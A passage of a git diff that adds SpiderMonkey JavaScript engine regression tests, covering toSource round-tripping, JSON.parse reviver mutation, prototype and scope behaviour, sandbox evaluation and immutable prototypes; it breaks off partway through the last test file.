+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function test()
+{
+ for (var i = 0; i != 100; ++i)
+ var tmp = { a: 1 };
+ return 1;
+}
+
+if (typeof evalcx == 'undefined')
+{
+ print('Skipping. This test requires evalcx.');
+ actual = expect;
+} else {
+ test();
+ test();
+ test();
+ actual = evalcx("test()", this);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-591450.js b/js/src/tests/non262/extensions/regress-591450.js
new file mode 100644
index 0000000000..f1ebcf6758
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-591450.js
@@ -0,0 +1,12 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * This was causing the parser to assert at one point. Now it's not. Yay!
+ */
+function f(a,[x,y],b,[w,z],c) { function b() { } }
+
+reportCompare(0, 0, "don't crash");
diff --git a/js/src/tests/non262/extensions/regress-636818.js b/js/src/tests/non262/extensions/regress-636818.js
new file mode 100644
index 0000000000..9fa1bc3798
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-636818.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+a = evalcx('');
+a.__proto__ = ''.__proto__;
+a.length = 3; // don't assert
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/regress-645160.js b/js/src/tests/non262/extensions/regress-645160.js
new file mode 100644
index 0000000000..933d3e2614
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-645160.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function potatoMasher(obj, arg) { this.eval(arg); }
+potatoMasher(this, "var s = Error().stack");
+assertEq(/potatoMasher/.exec(s) instanceof Array, true);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/regress-650753.js b/js/src/tests/non262/extensions/regress-650753.js
new file mode 100644
index 0000000000..a518ec52a3
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-650753.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var x = {}, h = new WeakMap;
+h.set(x, null);
+gc();
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/extensions/regress-696109.js b/js/src/tests/non262/extensions/regress-696109.js
new file mode 100644
index 0000000000..4a56340d36
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-696109.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Dave Herman <dherman@mozilla.com>
+ */
+
+// Bug 696109 - fixed a precedence bug in with/while nodes
+Reflect.parse("with({foo})bar");
+Reflect.parse("while({foo})bar");
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/regress-90596-001.js b/js/src/tests/non262/extensions/regress-90596-001.js
new file mode 100644
index 0000000000..7a22ec8b37
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-90596-001.js
@@ -0,0 +1,264 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 28 August 2001
+ *
+ * SUMMARY: A [DontEnum] prop, if overridden, should appear in toSource().
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=90596
+ *
+ * NOTE: some inefficiencies in the test are made for the sake of readability.
+ * Sorting properties alphabetically is done for definiteness in comparisons.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 90596;
+var summary = 'A [DontEnum] prop, if overridden, should appear in toSource()';
+var cnCOMMA = ',';
+var cnLBRACE = '{';
+var cnRBRACE = '}';
+var cnLPAREN = '(';
+var cnRPAREN = ')';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var obj = {};
+
+
+status = inSection(1);
+obj = {toString:9};
+actual = obj.toSource();
+expect = '({toString:9})';
+addThis();
+
+status = inSection(2);
+obj = {hasOwnProperty:"Hi"};
+actual = obj.toSource();
+expect = '({hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(3);
+obj = {toString:9, hasOwnProperty:"Hi"};
+actual = obj.toSource();
+expect = '({toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(4);
+obj = {prop1:1, toString:9, hasOwnProperty:"Hi"};
+actual = obj.toSource();
+expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+
+// TRY THE SAME THING IN EVAL CODE
+var s = '';
+
+status = inSection(5);
+s = 'obj = {toString:9}';
+eval(s);
+actual = obj.toSource();
+expect = '({toString:9})';
+addThis();
+
+status = inSection(6);
+s = 'obj = {hasOwnProperty:"Hi"}';
+eval(s);
+actual = obj.toSource();
+expect = '({hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(7);
+s = 'obj = {toString:9, hasOwnProperty:"Hi"}';
+eval(s);
+actual = obj.toSource();
+expect = '({toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+status = inSection(8);
+s = 'obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}';
+eval(s);
+actual = obj.toSource();
+expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})';
+addThis();
+
+
+// TRY THE SAME THING IN FUNCTION CODE
+function A()
+{
+ status = inSection(9);
+ var s = 'obj = {toString:9}';
+ eval(s);
+ actual = obj.toSource();
+ expect = '({toString:9})';
+ addThis();
+}
+A();
+
+function B()
+{
+ status = inSection(10);
+ var s = 'obj = {hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = obj.toSource();
+ expect = '({hasOwnProperty:"Hi"})';
+ addThis();
+}
+B();
+
+function C()
+{
+ status = inSection(11);
+ var s = 'obj = {toString:9, hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = obj.toSource();
+ expect = '({toString:9, hasOwnProperty:"Hi"})';
+ addThis();
+}
+C();
+
+function D()
+{
+ status = inSection(12);
+ var s = 'obj = {prop1:1, toString:9, hasOwnProperty:"Hi"}';
+ eval(s);
+ actual = obj.toSource();
+ expect = '({prop1:1, toString:9, hasOwnProperty:"Hi"})';
+ addThis();
+}
+D();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Sort properties alphabetically -
+ */
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = sortThis(actual);
+ expectedvalues[UBound] = sortThis(expect);
+ UBound++;
+}
+
+
+/*
+ * Takes string of form '({"c", "b", "a", 2})' and returns '({"a","b","c",2})'
+ */
+function sortThis(sList)
+{
+ sList = compactThis(sList);
+ sList = stripParens(sList);
+ sList = stripBraces(sList);
+ var arr = sList.split(cnCOMMA);
+ arr = arr.sort();
+ var ret = String(arr);
+ ret = addBraces(ret);
+ ret = addParens(ret);
+ return ret;
+}
+
+
+/*
+ * Strips out any whitespace from the text -
+ */
+function compactThis(text)
+{
+ var charCode = 0;
+ var ret = '';
+
+ for (var i=0; i<text.length; i++)
+ {
+ charCode = text.charCodeAt(i);
+
+ if (!isWhiteSpace(charCode))
+ ret += text.charAt(i);
+ }
+
+ return ret;
+}
+
+
+function isWhiteSpace(charCode)
+{
+ switch (charCode)
+ {
+ case (0x0009):
+ case (0x000B):
+ case (0x000C):
+ case (0x0020):
+ case (0x000A): // '\n'
+ case (0x000D): // '\r'
+ return true;
+ break;
+
+ default:
+ return false;
+ }
+}
+
+
+/*
+ * strips off parens at beginning and end of text -
+ */
+function stripParens(text)
+{
+ // remember to escape the parens...
+ var arr = text.match(/^\((.*)\)$/);
+
+ // defend against a null match...
+ if (arr != null && arr[1] != null)
+ return arr[1];
+ return text;
+}
+
+
+/*
+ * strips off braces at beginning and end of text -
+ */
+function stripBraces(text)
+{
+ // remember to escape the braces...
+ var arr = text.match(/^\{(.*)\}$/);
+
+ // defend against a null match...
+ if (arr != null && arr[1] != null)
+ return arr[1];
+ return text;
+}
+
+
+function addBraces(text)
+{
+ return cnLBRACE + text + cnRBRACE;
+}
+
+
+function addParens(text)
+{
+ return cnLPAREN + text + cnRPAREN;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-96284-001.js b/js/src/tests/non262/extensions/regress-96284-001.js
new file mode 100644
index 0000000000..ec0992f6a4
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-96284-001.js
@@ -0,0 +1,147 @@
+// |reftest| skip-if(!Error.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 03 September 2001
+ *
+ * SUMMARY: Double quotes should be escaped in Error.prototype.toSource()
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96284
+ *
+ * The real point here is this: we should be able to reconstruct an object
+ * from its toSource() property. We'll test this on various types of objects.
+ *
+ * Method: define obj2 = eval(obj1.toSource()) and verify that
+ * obj2.toSource() == obj1.toSource().
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 96284;
+var summary = 'Double quotes should be escaped in Error.prototype.toSource()';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var obj1 = {};
+var obj2 = {};
+var cnTestString = '"This is a \" STUPID \" test string!!!"\\';
+
+
+// various NativeError objects -
+status = inSection(1);
+obj1 = Error(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(2);
+obj1 = EvalError(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(3);
+obj1 = RangeError(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(4);
+obj1 = ReferenceError(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(5);
+obj1 = SyntaxError(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(6);
+obj1 = TypeError(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(7);
+obj1 = URIError(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+
+// other types of objects -
+status = inSection(8);
+obj1 = new String(cnTestString);
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(9);
+obj1 = {color:'red', texture:cnTestString, hasOwnProperty:42};
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(10);
+obj1 = function(x) {function g(y){return y+1;} return g(x);};
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(11);
+obj1 = new Number(eval('6'));
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+status = inSection(12);
+obj1 = /ad;(lf)kj(2309\/\/)\/\//;
+obj2 = eval(obj1.toSource());
+actual = obj2.toSource();
+expect = obj1.toSource();
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-bug607284.js b/js/src/tests/non262/extensions/regress-bug607284.js
new file mode 100644
index 0000000000..7d2c4921d2
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-bug607284.js
@@ -0,0 +1,16 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+if ("evalcx" in this) {
+ var sandbox = evalcx("");
+ var obj = { get foo() { throw("FAIL"); } };
+ var getter = obj.__lookupGetter__("foo");
+ var desc = sandbox.Object.getOwnPropertyDescriptor(obj, "foo");
+ reportCompare(desc.get, getter, "getter is correct");
+ reportCompare(desc.set, undefined, "setter is correct");
+}
+else {
+ reportCompare(true, true);
+}
diff --git a/js/src/tests/non262/extensions/regress-bug629723.js b/js/src/tests/non262/extensions/regress-bug629723.js
new file mode 100644
index 0000000000..6c826e0c20
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-bug629723.js
@@ -0,0 +1,16 @@
+function f(foo) {
+ "use strict";
+ foo.bar;
+}
+
+var actual;
+try {
+ f();
+ actual = "no error";
+} catch (x) {
+ actual = (x instanceof TypeError) ? "type error" : "some other error";
+ actual += (/use strict/.test(x)) ? " with directive" : " without directive";
+}
+
+reportCompare("type error without directive", actual,
+ "decompiled expressions in error messages should not include directive prologues");
diff --git a/js/src/tests/non262/extensions/reviver-mutates-holder-array-ccw.js b/js/src/tests/non262/extensions/reviver-mutates-holder-array-ccw.js
new file mode 100644
index 0000000000..e51e199033
--- /dev/null
+++ b/js/src/tests/non262/extensions/reviver-mutates-holder-array-ccw.js
@@ -0,0 +1,39 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 901351;
+var summary = "Behavior when the JSON.parse reviver mutates the holder array";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var proxyObj = null;
+
+var arr = JSON.parse('[0, 1]', function(prop, v) {
+ if (prop === "0")
+ {
+ proxyObj = newGlobal().evaluate("({ c: 17, d: 42 })");
+ this[1] = proxyObj;
+ }
+ return v;
+});
+
+assertEq(arr[0], 0);
+assertEq(arr[1], proxyObj);
+assertEq(arr[1].c, 17);
+assertEq(arr[1].d, 42);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/reviver-mutates-holder-array-nonnative.js b/js/src/tests/non262/extensions/reviver-mutates-holder-array-nonnative.js
new file mode 100644
index 0000000000..de4ad7032e
--- /dev/null
+++ b/js/src/tests/non262/extensions/reviver-mutates-holder-array-nonnative.js
@@ -0,0 +1,46 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 901380;
+var summary = "Behavior when JSON.parse walks over a non-native object";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var typedArray = null;
+
+var observedTypedArrayElementCount = 0;
+
+var arr = JSON.parse('[0, 1]', function(prop, v) {
+ if (prop === "0" && Array.isArray(this)) // exclude typedArray[0]
+ {
+ typedArray = new Int8Array(1);
+ this[1] = typedArray;
+ }
+ if (this instanceof Int8Array)
+ {
+ assertEq(prop, "0");
+ observedTypedArrayElementCount++;
+ }
+ return v;
+});
+
+assertEq(arr[0], 0);
+assertEq(arr[1], typedArray);
+
+assertEq(observedTypedArrayElementCount, 1);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/reviver-mutates-holder-array.js b/js/src/tests/non262/extensions/reviver-mutates-holder-array.js
new file mode 100644
index 0000000000..f4f89ac0ab
--- /dev/null
+++ b/js/src/tests/non262/extensions/reviver-mutates-holder-array.js
@@ -0,0 +1,39 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 901351;
+var summary = "Behavior when the JSON.parse reviver mutates the holder array";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var proxyObj = null;
+
+var arr = JSON.parse('[0, 1]', function(prop, v) {
+ if (prop === "0")
+ {
+ proxyObj = new Proxy({ c: 17, d: 42 }, {});
+ this[1] = proxyObj;
+ }
+ return v;
+});
+
+assertEq(arr[0], 0);
+assertEq(arr[1], proxyObj);
+assertEq(arr[1].c, 17);
+assertEq(arr[1].d, 42);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/reviver-mutates-holder-object-ccw.js b/js/src/tests/non262/extensions/reviver-mutates-holder-object-ccw.js
new file mode 100644
index 0000000000..546a57e916
--- /dev/null
+++ b/js/src/tests/non262/extensions/reviver-mutates-holder-object-ccw.js
@@ -0,0 +1,56 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 901351;
+var summary = "Behavior when the JSON.parse reviver mutates the holder object";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// A little trickiness to account for the undefined-ness of property
+// enumeration order.
+var first = "unset";
+
+var proxyObj = null;
+
+var obj = JSON.parse('{ "a": 0, "b": 1 }', function(prop, v) {
+ if (first === "unset")
+ {
+ first = prop;
+ var second = (prop === "a") ? "b" : "a";
+
+ proxyObj = newGlobal().evaluate("({ c: 42, d: 17 })");
+ Object.defineProperty(this, second, { value: proxyObj });
+ }
+ return v;
+});
+
+if (first === "a")
+{
+ assertEq(obj.a, 0);
+ assertEq(obj.b, proxyObj);
+ assertEq(obj.b.c, 42);
+ assertEq(obj.b.d, 17);
+}
+else
+{
+ assertEq(obj.a, proxyObj);
+ assertEq(obj.a.c, 42);
+ assertEq(obj.a.d, 17);
+ assertEq(obj.b, 1);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/reviver-mutates-holder-object-nonnative.js b/js/src/tests/non262/extensions/reviver-mutates-holder-object-nonnative.js
new file mode 100644
index 0000000000..1300f8dd0d
--- /dev/null
+++ b/js/src/tests/non262/extensions/reviver-mutates-holder-object-nonnative.js
@@ -0,0 +1,60 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 901380;
+var summary = "Behavior when JSON.parse walks over a non-native object";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// A little trickiness to account for the undefined-ness of property
+// enumeration order.
+var first = "unset";
+
+var observedTypedArrayElementCount = 0;
+
+var typedArray = null;
+
+var obj = JSON.parse('{ "a": 0, "b": 1 }', function(prop, v) {
+ if (first === "unset")
+ {
+ first = prop;
+ var second = (prop === "a") ? "b" : "a";
+ typedArray = new Int8Array(1);
+ Object.defineProperty(this, second, { value: typedArray });
+ }
+ if (this instanceof Int8Array)
+ {
+ assertEq(prop, "0");
+ observedTypedArrayElementCount++;
+ }
+ return v;
+});
+
+if (first === "a")
+{
+ assertEq(obj.a, 0);
+ assertEq(obj.b, typedArray);
+}
+else
+{
+ assertEq(obj.a, typedArray);
+ assertEq(obj.b, 1);
+}
+
+assertEq(observedTypedArrayElementCount, 1);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/reviver-mutates-holder-object.js b/js/src/tests/non262/extensions/reviver-mutates-holder-object.js
new file mode 100644
index 0000000000..973766e9ae
--- /dev/null
+++ b/js/src/tests/non262/extensions/reviver-mutates-holder-object.js
@@ -0,0 +1,56 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 901351;
+var summary = "Behavior when the JSON.parse reviver mutates the holder object";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// A little trickiness to account for the undefined-ness of property
+// enumeration order.
+var first = "unset";
+
+var proxyObj = null;
+
+var obj = JSON.parse('{ "a": 0, "b": 1 }', function(prop, v) {
+ if (first === "unset")
+ {
+ first = prop;
+ var second = (prop === "a") ? "b" : "a";
+
+ proxyObj = new Proxy({ c: 42, d: 17 }, {});
+ Object.defineProperty(this, second, { value: proxyObj });
+ }
+ return v;
+});
+
+if (first === "a")
+{
+ assertEq(obj.a, 0);
+ assertEq(obj.b, proxyObj);
+ assertEq(obj.b.c, 42);
+ assertEq(obj.b.d, 17);
+}
+else
+{
+ assertEq(obj.a, proxyObj);
+ assertEq(obj.a.c, 42);
+ assertEq(obj.a.d, 17);
+ assertEq(obj.b, 1);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/scope-001.js b/js/src/tests/non262/extensions/scope-001.js
new file mode 100644
index 0000000000..f3157af01c
--- /dev/null
+++ b/js/src/tests/non262/extensions/scope-001.js
@@ -0,0 +1,84 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = '53268';
+var status = 'Testing scope after changing obj.__proto__';
+var expect= '';
+var actual = '';
+var obj = {};
+
+Object.defineProperty(this, "five", {
+ value: 5,
+ enumerable: true,
+ writable: false
+});
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (status);
+
+
+ status= 'Step 1: setting obj.__proto__ = global object';
+ obj.__proto__ = this;
+
+ actual = obj.five;
+ expect=5;
+ reportCompare (expect, actual, status);
+
+ obj.five=1;
+ actual = obj.five;
+ expect=5;
+ reportCompare (expect, actual, status);
+
+
+
+ status= 'Step 2: setting obj.__proto__ = null';
+ obj.__proto__ = null;
+
+ actual = obj.five;
+ expect=undefined;
+ reportCompare (expect, actual, status);
+
+ obj.five=2;
+ actual = obj.five;
+ expect=2;
+ reportCompare (expect, actual, status);
+
+
+
+ status= 'Step 3: setting obj.__proto__ to global object again';
+ obj.__proto__ = this;
+
+ actual = obj.five;
+ expect=2; //<--- (FROM STEP 2 ABOVE)
+ reportCompare (expect, actual, status);
+
+ obj.five=3;
+ actual = obj.five;
+ expect=3;
+ reportCompare (expect, actual, status);
+
+
+
+ status= 'Step 4: setting obj.__proto__ to null again';
+ obj.__proto__ = null;
+
+ actual = obj.five;
+ expect=3; //<--- (FROM STEP 3 ABOVE)
+ reportCompare (expect, actual, status);
+
+ obj.five=4;
+ actual = obj.five;
+ expect=4;
+ reportCompare (expect, actual, status);
+}
diff --git a/js/src/tests/non262/extensions/set-property-non-extensible.js b/js/src/tests/non262/extensions/set-property-non-extensible.js
new file mode 100644
index 0000000000..096278d726
--- /dev/null
+++ b/js/src/tests/non262/extensions/set-property-non-extensible.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!xulRuntime.shell) -- preventExtensions on global
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 600128;
+var summary =
+ "Properly handle attempted addition of properties to non-extensible objects";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var o = Object.freeze({});
+for (var i = 0; i < 10; i++)
+ print(o.u = "");
+
+Object.freeze(this);
+for (let j = 0; j < 10; j++)
+ print(u = "");
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/setImmutablePrototype.js b/js/src/tests/non262/extensions/setImmutablePrototype.js
new file mode 100644
index 0000000000..9d107472e5
--- /dev/null
+++ b/js/src/tests/non262/extensions/setImmutablePrototype.js
@@ -0,0 +1,196 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var gTestfile = "setImmutablePrototype.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1052139;
+var summary =
+ "Implement JSAPI and a shell function to prevent modifying an extensible " +
+ "object's [[Prototype]]";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+if (typeof evaluate !== "function")
+{
+ // Not totally faithful semantics, but approximately close enough for this
+ // test's purposes.
+ evaluate = eval;
+}
+
+var usingRealSetImmutablePrototype = true;
+
+if (typeof setImmutablePrototype !== "function")
+{
+ usingRealSetImmutablePrototype = false;
+
+ if (typeof SpecialPowers !== "undefined")
+ {
+ setImmutablePrototype =
+ SpecialPowers.Cu.getJSTestingFunctions().setImmutablePrototype;
+ }
+}
+
+if (typeof wrap !== "function")
+{
+ // good enough
+ wrap = function(x) { return x; };
+}
+
+function setViaProtoSetter(obj, newProto)
+{
+ var setter =
+ Object.getOwnPropertyDescriptor(Object.prototype, "__proto__").set;
+ setter.call(obj, newProto);
+}
+
+function checkPrototypeMutationFailure(obj, desc)
+{
+ var initialProto = Object.getPrototypeOf(obj);
+
+ // disconnected from any [[Prototype]] chains for use on any object at all
+ var newProto = Object.create(null);
+
+ function tryMutate(func, method)
+ {
+ try
+ {
+ func(obj, newProto);
+ throw new Error(desc + ": no error thrown, prototype " +
+ (Object.getPrototypeOf(obj) === initialProto
+ ? "wasn't"
+ : "was") +
+ " changed");
+ }
+ catch (e)
+ {
+ // Note: This is always a TypeError from *this* global object, because
+ // Object.setPrototypeOf and the __proto__ setter come from *this*
+ // global object.
+ assertEq(e instanceof TypeError, true,
+ desc + ": should have thrown TypeError setting [[Prototype]] " +
+ "via " + method + ", got " + e);
+ assertEq(Object.getPrototypeOf(obj), initialProto,
+ desc + ": shouldn't observe [[Prototype]] change");
+ }
+ }
+
+ tryMutate(Object.setPrototypeOf, "Object.setPrototypeOf");
+ tryMutate(setViaProtoSetter, "__proto__ setter");
+}
+
+function runNormalTests(global)
+{
+ if (typeof setImmutablePrototype !== "function")
+ {
+ print("no testable setImmutablePrototype function available, skipping tests");
+ return;
+ }
+
+ // regular old object, non-null [[Prototype]]
+
+ var emptyLiteral = global.evaluate("({})");
+ assertEq(setImmutablePrototype(emptyLiteral), true);
+ checkPrototypeMutationFailure(emptyLiteral, "empty literal");
+
+ // regular old object, null [[Prototype]]
+
+ var nullProto = global.Object.create(null);
+ assertEq(setImmutablePrototype(nullProto), true);
+ checkPrototypeMutationFailure(nullProto, "nullProto");
+
+ // Shocker: SpecialPowers's little mind doesn't understand proxies. Abort.
+ if (!usingRealSetImmutablePrototype)
+ return;
+
+ // direct proxies
+
+ var emptyTarget = global.evaluate("({})");
+ var directProxy = new global.Proxy(emptyTarget, {});
+ assertEq(setImmutablePrototype(directProxy), true);
+ checkPrototypeMutationFailure(directProxy, "direct proxy to empty target");
+ checkPrototypeMutationFailure(emptyTarget, "empty target");
+
+ var anotherTarget = global.evaluate("({})");
+ var anotherDirectProxy = new global.Proxy(anotherTarget, {});
+ assertEq(setImmutablePrototype(anotherTarget), true);
+ checkPrototypeMutationFailure(anotherDirectProxy, "another direct proxy to empty target");
+ checkPrototypeMutationFailure(anotherTarget, "another empty target");
+
+ var nestedTarget = global.evaluate("({})");
+ var nestedProxy = new global.Proxy(new Proxy(nestedTarget, {}), {});
+ assertEq(setImmutablePrototype(nestedProxy), true);
+ checkPrototypeMutationFailure(nestedProxy, "nested proxy to empty target");
+ checkPrototypeMutationFailure(nestedTarget, "nested target");
+
+ // revocable proxies
+
+ var revocableTarget = global.evaluate("({})");
+ var revocable = global.Proxy.revocable(revocableTarget, {});
+ assertEq(setImmutablePrototype(revocable.proxy), true);
+ checkPrototypeMutationFailure(revocableTarget, "revocable target");
+ checkPrototypeMutationFailure(revocable.proxy, "revocable proxy");
+
+ assertEq(revocable.revoke(), undefined);
+ try
+ {
+ setImmutablePrototype(revocable.proxy);
